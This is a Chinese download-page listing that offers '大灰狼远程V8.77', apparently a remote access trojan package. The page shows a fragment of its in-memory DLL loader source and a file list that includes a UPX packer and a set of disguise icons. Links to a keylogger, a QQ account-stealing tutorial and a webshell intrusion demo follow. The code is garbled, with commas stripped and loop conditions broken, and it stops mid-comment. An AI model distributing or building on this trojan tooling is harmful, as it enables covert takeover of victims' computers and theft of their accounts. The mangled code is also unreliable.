资源简介
大灰狼远程V8.77.rar
代码片段和文件信息
#include
#include “MemoryModule.h“
#ifndef __GNUC__
#pragma warning( disable : 4311 4312 )
#endif
#ifdef _WIN64
#define POINTER_TYPE ULONGLONG
#else
#define POINTER_TYPE DWORD
#endif
#ifndef IMAGE_SIZEOF_base_RELOCATION
#define IMAGE_SIZEOF_base_RELOCATION (sizeof(IMAGE_base_RELOCATION))
#endif
typedef struct {
PIMAGE_NT_HEADERS headers;
unsigned char *codebase;
HMODULE *modules;
int numModules;
int initialized;
} MEMORYMODULE *PMEMORYMODULE;
typedef BOOL (WINAPI *DllEntryProc)(HINSTANCE hinstDLL DWORD fdwReason LPVOID lpReserved);
#define GET_HEADER_DICTIONARY(module idx) &(module)->headers->OptionalHeader.DataDirectory[idx]
static void
CopySections(const unsigned char *data PIMAGE_NT_HEADERS old_headers PMEMORYMODULE module)
{
int i size;
unsigned char *codebase = module->codebase;
unsigned char *dest;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
for (i=0; iheaders->FileHeader.NumberOfSections; i++ section++) {
if (section->SizeOfRawData == 0) {
// section doesn‘t contain data in the dll itself but may define
// uninitialized data
size = old_headers->OptionalHeader.SectionAlignment;
if (size > 0) {
dest = (unsigned char *)VirtualAlloc(codebase + section->VirtualAddress
size
MEM_COMMIT
PAGE_READWRITE);
section->Misc.PhysicalAddress = (POINTER_TYPE)dest;
memset(dest 0 size);
}
// section is empty
continue;
}
// commit memory block and copy data from dll
dest = (unsigned char *)VirtualAlloc(codebase + section->VirtualAddress
section->SizeOfRawData
MEM_COMMIT
PAGE_READWRITE);
memcpy(dest data + section->PointerToRawData section->SizeOfRawData);
section->Misc.PhysicalAddress = (DWORD)dest;
}
}
// Protection flags for memory pages (Executable Readable Writeable)
static int ProtectionFlags[2][2][2] = {
{
// not executable
{PAGE_NOACCESS PAGE_WRITECOPY}
{PAGE_READONLY PAGE_READWRITE}
} {
// executable
{PAGE_EXECUTE PAGE_EXECUTE_WRITECOPY}
{PAGE_EXECUTE_READ PAGE_EXECUTE_READWRITE}
}
};
static void
FinalizeSections(PMEMORYMODULE module)
{
int i;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(module->headers);
#ifdef _WIN64
POINTER_TYPE imageOffset = (module->headers->OptionalHeader.Imagebase & 0xffffffff00000000);
#else
#define imageOffset 0
#endif
// loop through all sections and change access flags
for (i=0; iheaders->FileHeader.NumberOfSections; i++ section++) {
DWORD protect oldProtect size;
int executable = (section->Characteristics & IMAGE_SCN_MEM_EXECUTE) != 0;
int readable = (section->Characteristics & IMAGE_SCN_MEM_READ) != 0;
int writeable = (section->Characteristics & IMAGE_SCN_MEM_WRITE) != 0;
if (section->Characteristics & IMAGE_SCN_MEM_DISCARDABLE) {
// section is not needed any more and can safely be fre
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 880128 2013-06-26 23:10 大灰狼远程管理V8.77\Control\HttpServer.exe
文件 402432 2007-02-17 07:50 大灰狼远程管理V8.77\Control\mstsc.exe
文件 752640 2007-02-17 07:50 大灰狼远程管理V8.77\Control\mstscax.dll
文件 9307091 2012-11-05 20:11 大灰狼远程管理V8.77\Control\QQwry.dat
文件 7566 2015-04-14 20:31 大灰狼远程管理V8.77\Control\SkinH.she
文件 305152 2013-09-30 17:51 大灰狼远程管理V8.77\Control\upx.exe
文件 1923616 2015-04-14 20:08 大灰狼远程管理V8.77\DhlControA.dll
文件 25214 2006-12-10 21:06 大灰狼远程管理V8.77\ICO图标\01.ico
文件 22486 2006-11-26 01:37 大灰狼远程管理V8.77\ICO图标\02.ico
文件 19790 2007-03-17 23:11 大灰狼远程管理V8.77\ICO图标\03.ico
文件 3262 2012-11-11 10:07 大灰狼远程管理V8.77\ICO图标\04.ico
文件 14742 2006-11-13 21:40 大灰狼远程管理V8.77\ICO图标\05.ico
文件 8478 2001-04-02 18:32 大灰狼远程管理V8.77\ICO图标\06.ico
文件 11886 2001-03-22 21:33 大灰狼远程管理V8.77\ICO图标\07.ico
文件 1078 1998-10-26 05:37 大灰狼远程管理V8.77\ICO图标\08.ico
文件 8478 2001-03-21 13:52 大灰狼远程管理V8.77\ICO图标\09.ico
文件 10134 2011-06-12 20:17 大灰狼远程管理V8.77\ICO图标\10.ico
文件 2238 1999-08-24 13:13 大灰狼远程管理V8.77\ICO图标\11.ico
文件 2238 1999-08-24 13:14 大灰狼远程管理V8.77\ICO图标\12.ico
文件 1078 1998-06-22 07:06 大灰狼远程管理V8.77\ICO图标\13.ico
文件 1078 2003-01-10 20:36 大灰狼远程管理V8.77\ICO图标\14.ICO
文件 11502 2001-04-02 18:59 大灰狼远程管理V8.77\ICO图标\15.ico
文件 18718 2012-07-08 09:20 大灰狼远程管理V8.77\ICO图标\17.ICO
文件 4846 2014-03-23 11:27 大灰狼远程管理V8.77\ICO图标\18.ico
文件 25214 2012-06-16 23:18 大灰狼远程管理V8.77\ICO图标\24.ico
文件 28902 2009-06-25 20:45 大灰狼远程管理V8.77\ICO图标\28.ico
文件 766 2011-07-04 18:23 大灰狼远程管理V8.77\ICO图标\29.ico
文件 25022 2011-04-23 18:38 大灰狼远程管理V8.77\ICO图标\30.ico
文件 13942 2010-10-27 23:46 大灰狼远程管理V8.77\ICO图标\32.ico
文件 22486 2006-11-26 01:37 大灰狼远程管理V8.77\ICO图标\36.ico
............此处省略26个文件信息
相关资源
- william66688_10146784.zip
- 德州扑克.txt
- 键盘记录器.rar
- zw_xmuleea-11168271-1001BattleOverCities-HardV
- zw_canny.zip
- 手枪3d模型.rar
- StuSelector.zip
- 视频提取脉搏波程序.zip
- Youtube_v2.0.zip
- DSLR Remote Pro v2.6.2注册版.rar
- 手把手教你如何使用qq盗号软件(1)
- predictivecontrol.zip
- 黑客与画家硅谷创业之父Paul_Graham文集
- 黑客pdf.zip
- 概率论与数理统计_陈希儒.rar
- gwwe3j.rar
- 18节信用变现课重要升级版:掌握信用
- 一句话木马2种方法入侵网站(演示)
- 黑客与社会工程学.rar
- 黑客学习资料大集合.txt
- lsgcsh_9491197.zip
- lucene.net2.3.1.2盘古分词演示程序.rar
- 数字中国:大数据与政府管理决策.江
- 黑客防线2004精华本.rar
- 蓝光工程量.rar
- PEiD0.95.rar
- Web应用黑客手册.7z
- 反欺骗的艺术—世界传奇黑客的经历
- 原型设计大师AXURERP网站与APP设计从入
- 42f1494d963f3cb6c3af35a703c65e08.rar
评论
共有 条评论